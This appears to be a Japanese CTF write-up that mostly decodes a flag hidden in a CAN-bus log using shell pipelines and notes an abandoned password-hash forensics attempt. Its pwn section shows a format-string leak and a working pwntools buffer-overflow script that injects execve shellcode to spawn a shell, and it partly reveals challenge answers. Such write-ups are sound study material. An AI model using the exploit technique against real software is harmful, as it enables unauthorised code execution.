Network
stay_in_touch
Export Objects でうまくいかなかったので,断念してしまった。
1217パケットくらい先頭から末尾まで全部詳細に見ないと。
根気が足りない。
反省しなければ。
ということで,TCPストリームを追っかければ,すぐに答えにたどり着いた。
Stream 12
yes_you_can
#
より右だけ検索できるようにデータを加工しておかないと話にならん
まず,CAN ID の使用頻度から
$ cat dump.log_kai | cut -d " " -f 3 | sort | uniq -c | sort -n -r
4828 095
4827 191
4827 18E
4827 183
4827 17C
4827 166
4827 164
4827 161
4827 158
4827 143
4827 13F
4827 13A
4827 136
4827 133
3387 244
3183 039
2414 1A4
2413 1DC
2413 1CF
2399 1D0
2399 1B0
2399 1AA
1200 294
1200 21E
489 37C
489 324
489 320
489 309
474 333
459 305
163 454
163 428
163 40C
163 405
96 188
44 5A1
極端に多いのと少ないのを見てもダメ
次にデータの種類を見る
$ awk '{print $3,$4}' dump.log_kai | sort -k 1,2 | uniq -c
800 039 000C
799 039 001B
799 039 002A
785 039 0039
1050 095 800007F400000008
1066 095 800007F400000017
1052 095 800007F400000026
1050 095 800007F400000035
164 095 800007F800000004
149 095 800007F800000013
148 095 800007F800000022
149 095 800007F800000031
1199 133 0000000089
1214 133 0000000098
1214 133 00000000A7
1200 133 00000000B6
(略)
これを全部眺めると
5 244 0000000100
9 244 0000000101
9 244 0000000102
10 244 0000000103
7 244 0000000104
8 244 0000000105
3 244 0000000106
6 244 0000000107
6 244 0000000108
6 244 0000000109
1 244 000000010A
7 244 000000010B
5 244 000000010C
13 244 000000010D
8 244 000000010E
2 244 000000010F
5 244 0000000110
11 244 0000000111
12 244 0000000112
10 244 0000000113
6 244 0000000114
10 244 0000000115
4 244 0000000116
8 244 0000000117
9 244 0000000118
8 244 0000000119
8 244 000000011A
6 244 000000011B
9 244 000000011C
4 244 000000011D
4 244 000000011E
4 244 000000011F
5 244 0000000120
6 244 0000000121
8 244 0000000122
2 244 0000000123
9 244 0000000124
4 244 0000000125
13 244 0000000126
7 244 0000000127
10 244 0000000128
4 244 0000000129
10 244 000000012A
9 244 000000012B
3 244 000000012C
6 244 000000012D
7 244 000000012E
4 244 000000012F
4 244 0000000130
9 244 0000000131
12 244 0000000132
8 244 0000000133
10 244 0000000134
4 244 0000000135
13 244 0000000136
5 244 0000000137
14 244 0000000138
8 244 0000000139
7 244 000000013A
7 244 000000013B
2 244 000000013C
7 244 000000013D
10 244 000000013E
8 244 000000013F
6 244 0000000140
1 244 0000000141
11 244 0000000142
5 244 0000000143
6 244 0000000144
7 244 0000000145
10 244 0000000146
13 244 0000000147
6 244 0000000148
6 244 0000000149
12 244 000000014A
11 244 000000014B
11 244 000000014C
6 244 000000014D
7 244 000000014E
7 244 000000014F
6 244 0000000150
6 244 0000000151
9 244 0000000152
9 244 0000000153
9 244 0000000154
8 244 0000000155
7 244 0000000156
9 244 0000000157
3 244 0000000158
14 244 0000000159
7 244 000000015A
7 244 000000015B
1 244 000000015C
10 244 000000015D
10 244 000000015E
11 244 000000015F
10 244 0000000160
10 244 0000000161
3 244 0000000162
9 244 0000000164
9 244 0000000165
12 244 0000000166
7 244 0000000167
6 244 0000000168
6 244 0000000169
6 244 000000016A
5 244 000000016B
4 244 000000016C
4 244 000000016D
4 244 000000016E
5 244 000000016F
7 244 0000000170
9 244 0000000171
13 244 0000000172
8 244 0000000173
9 244 0000000174
10 244 0000000175
7 244 0000000176
7 244 0000000177
9 244 0000000178
10 244 0000000179
6 244 000000017A
7 244 000000017B
3 244 000000017C
9 244 000000017D
6 244 000000017E
6 244 000000017F
9 244 0000000180
13 244 0000000181
4 244 0000000182
5 244 0000000183
6 244 0000000184
2 244 0000000185
9 244 0000000186
12 244 0000000187
12 244 0000000188
8 244 0000000189
9 244 000000018A
9 244 000000018B
7 244 000000018C
8 244 000000018D
12 244 000000018E
5 244 000000018F
5 244 0000000190
15 244 0000000191
12 244 0000000192
7 244 0000000193
7 244 0000000194
4 244 0000000195
5 244 0000000196
9 244 0000000197
4 244 0000000198
8 244 0000000199
9 244 000000019A
7 244 000000019B
11 244 000000019C
3 244 000000019D
8 244 000000019E
14 244 000000019F
6 244 00000001A0
4 244 00000001A1
7 244 00000001A2
8 244 00000001A3
5 244 00000001A4
3 244 00000001A5
6 244 00000001A6
2 244 00000001A7
7 244 00000001A8
9 244 00000001A9
10 244 00000001AA
8 244 00000001AB
9 244 00000001AC
6 244 00000001AD
6 244 00000001AE
12 244 00000001AF
11 244 00000001B0
11 244 00000001B1
8 244 00000001B2
11 244 00000001B3
3 244 00000001B4
5 244 00000001B5
10 244 00000001B6
10 244 00000001B7
5 244 00000001B8
11 244 00000001B9
7 244 00000001BA
11 244 00000001BB
4 244 00000001BC
10 244 00000001BD
9 244 00000001BE
3 244 00000001BF
7 244 00000001C0
8 244 00000001C1
3 244 00000001C2
9 244 00000001C3
9 244 00000001C4
9 244 00000001C5
11 244 00000001C6
7 244 00000001C7
5 244 00000001C8
7 244 00000001C9
9 244 00000001CA
7 244 00000001CB
4 244 00000001CC
6 244 00000001CD
6 244 00000001CE
8 244 00000001CF
3 244 00000001D0
13 244 00000001D1
5 244 00000001D2
8 244 00000001D3
13 244 00000001D4
12 244 00000001D5
8 244 00000001D6
4 244 00000001D7
6 244 00000001D8
5 244 00000001D9
7 244 00000001DA
7 244 00000001DB
10 244 00000001DC
12 244 00000001DD
1 244 00000001DE
8 244 00000001DF
7 244 00000001E0
5 244 00000001E1
8 244 00000001E2
12 244 00000001E3
8 244 00000001E4
7 244 00000001E5
9 244 00000001E6
6 244 00000001E7
5 244 00000001E8
11 244 00000001E9
6 244 00000001EA
4 244 00000001EB
8 244 00000001EC
9 244 00000001ED
6 244 00000001EE
9 244 00000001EF
6 244 00000001F0
12 244 00000001F1
6 244 00000001F2
5 244 00000001F3
7 244 00000001F4
10 244 00000001F5
8 244 00000001F6
5 244 00000001F7
8 244 00000001F8
12 244 00000001F9
12 244 00000001FA
7 244 00000001FB
3 244 00000001FC
8 244 00000001FD
4 244 00000001FE
10 244 00000001FF
142 244 0000005F00
209 244 0000006100
72 244 0000006200
143 244 0000006300
70 244 0000006600
141 244 0000006700
69 244 0000006800
70 244 0000006900
71 244 0000006C00
139 244 0000006E00
70 244 0000006b00
70 244 0000007300
69 244 0000007500
71 244 0000007B00
71 244 0000007D00
CAN ID = 244 のデータに作為を感じる
$ grep -E "244 000000..00" dump.log_kai | awk '{print $3,$4}' | uniq
244 0000000100
244 0000006600
244 0000006C00
244 0000006100
244 0000006700
244 0000007B00
244 0000006300
244 0000006100
244 0000006E00
244 0000005F00
244 0000006200
244 0000007500
244 0000007300
244 0000005F00
244 0000006800
244 0000006100
244 0000006300
244 0000006b00
244 0000006900
244 0000006E00
244 0000006700
244 0000007D00
244 0000000100
16進 | ascii |
---|---|
66 | f |
6c | l |
61 | a |
67 | g |
7B | { |
Forensics
CSIRT_asks_you_02
samdump2を使ってやってみたが,答えにたどり着ける状況ではなかったようだ。
工事中(mimikatzのVMが壊れて動かん。)
pwn
1898
AAA,%x,%x,%x,%x,%x,%x,
を入力すると
となるので,スタックの4番目にローカル変数が確保されていることがわかる。
4番目に 0x56656060
を入れて %4$s をすればいいみたいだけど,プログラム組まないとアドレスの入力ができない。
Linuxターミナルが,ほぼ1トライでセッションが切れてログインし直しになるので,やる気なくした。
Shellcode
解けた問題だが,前記の理由でpwnをやめてしまった。
target | [0x7fffffffe3e0]
って何?
メイン関数のリターンアドレス
0x00007ffff7a03bf7
Aの数(0x00007ffff7a03bf7まで数える)
8*11だ
target | [0x7fffffffe3e0]
って何?
作戦
rspからネットで拾ってきたshellcodeを埋める
(8*11) - len(shellcode) の先にmain関数のリターンアドレスがあるので,rspに書き換える
rspのアドレスはtargetとしてリーク済み
# coding: UTF-8
from pwn import *
import pwn
import binascii
context.arch = "amd64"
#io = pwn.remote("10.1.1.10", 13050)
io = pwn.process("./shellcode")
io.readuntil("0x")
leak = int(io.read(12), 16)
# http://shell-storm.org/shellcode/files/shellcode-806.php
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = payload.ljust(8*11) + pack(leak)
print(binascii.hexlify(payload))
io.sendlineafter("> ", payload)
io.interactive()
参考サイト